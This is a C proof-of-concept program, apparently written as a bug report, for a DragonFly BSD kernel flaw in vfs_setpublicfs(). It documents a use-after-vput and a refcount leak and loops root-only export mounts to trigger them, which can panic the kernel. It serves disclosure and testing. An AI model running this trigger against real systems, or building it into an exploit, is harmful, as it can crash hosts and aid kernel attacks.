DF-0008 / expub.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 | /* * DF-0008 PoC - vfs_setpublicfs() use-after-vput of the root vnode * + (VPTOFH-error) refcount leak. Root-only trigger. * * Bug location: sys/kern/vfs_subr.c:2255-2290 (vfs_setpublicfs). * * VFS_ROOT(mp, &rvp); // rvp ref'd + locked * if ((error = VFS_VPTOFH(rvp, ...))) * return (error); // :2259 LEAK: no vput * vput(rvp); // :2261 drops ref+lock * ... * if (argp->ex_indexfile != NULL) { * error = vn_get_namelen(rvp, &namelen); // :2269 USE AFTER vput * * vn_get_namelen() -> VOP_PATHCONF(rvp) (vfs_subr.c:2552) runs on a vnode * that has ALREADY been vput() (unlocked, usecount decremented). If * VFS_ROOT's was the only reference, rvp is reclaimable by vnlru between * :2261 and :2269 -> use-after-free in the VOP_PATHCONF dispatch. At minimum * it is a definite vnode-lock-protocol violation (VOP_PATHCONF requires a * locked vp). * * Reachability: mount(2) -> fs vfs_mount (e.g. ffs_vfsops.c:273) -> * vfs_export() -> vfs_setpublicfs(). An UPDATE mount of an already-mounted * ufs fs (fspec=NULL) with export_args.ex_flags = MNT_EXPUBLIC|MNT_EXPORTED * and ex_indexfile set reaches the UAF path. (UFS ffs_vptofh always returns * 0, so we always reach :2261/:2269; the leak variant at :2259 needs a fs * whose vptofh can fail.) Mount/export is privilege-gated (root only). * * Build (DragonFly, amd64): cc -o expub expub.c * Run as root: ./expub /boot # /boot is ufs/ffs on the guest * * Expected (bug present): * - On a DEBUG/INVARIANTS kernel racing vnlru: a panic from VOP_PATHCONF on * a reclaimed/unlocked vnode. * - On a normal kernel: the lock-protocol violation races silently; the * mount may succeed (proving vfs_setpublicfs ran the buggy path). The * refcount-leak variant (vptofh-fail fs) is deterministic: the root * vnode's usecount grows by 1 per attempt and never decreases. */ #include <sys/param.h> #include <sys/mount.h> #include <vfs/ufs/ufsmount.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <unistd.h> int main(int argc, char **argv) { const char *dir; struct ufs_args uargs; struct export_args *ex; int i, rv, ok = 0, fail = 0; int loops; if (argc < 2) { fprintf(stderr, "usage: %s <ufs-mountpoint> (run as root)\n", argv[0]); return 2; } dir = argv[1]; loops = (argc >= 3) ? atoi(argv[2]) : 64; if (loops < 1) loops = 1; printf("[*] target=%s loops=%d\n", dir, loops); printf("[*] sizeof(ufs_args)=%zu export_args=%zu\n", sizeof(uargs), sizeof(uargs.export)); for (i = 0; i < loops; i++) { /* Build a ufs_args for an UPDATE-export with an indexfile. * fspec=NULL -> ffs takes the export path (ffs_vfsops.c:270). * ex_flags = MNT_EXPORTED | MNT_EXPUBLIC * -> vfs_export -> vfs_setpublicfs (:2202). * ex_indexfile != NULL -> the buggy vn_get_namelen(rvp) at * vfs_subr.c:2269 (rvp already vput at :2261). */ memset(&uargs, 0, sizeof(uargs)); uargs.fspec = NULL; ex = &uargs.export; ex->ex_flags = MNT_EXPORTED | MNT_EXPUBLIC; ex->ex_root = 0; /* map root -> root */ ex->ex_indexfile = "index.html"; rv = mount("ufs", dir, MNT_UPDATE | MNT_EXPORTED, &uargs); if (rv == 0) { ok++; /* Clear the public export so the next iteration can * re-enter vfs_setpublicfs (singleton: only one public * fs at a time, vfs_subr.c:2246). */ memset(&uargs, 0, sizeof(uargs)); uargs.fspec = NULL; uargs.export.ex_flags = MNT_DELEXPORT; mount("ufs", dir, MNT_UPDATE, &uargs); } else { fail++; if (i < 4 || (i % 16) == 0) fprintf(stderr, " attempt %d: mount: %s\n", i, strerror(errno)); } } printf("[+] done: vfs_setpublicfs UAF path reached ok=%d fail=%d " "(of %d)\n", ok, fail, loops); if (ok > 0) printf("[+] vfs_setpublicfs() ran the buggy :2261-vput -> " ":2269-VOP_PATHCONF path %d time(s); on a non-DEBUG\n" " kernel the unlocked-VOP races silently -- check " "serial console for a vnlru-reclaim UAF panic.\n", ok); return (ok > 0) ? 0 : 1; } |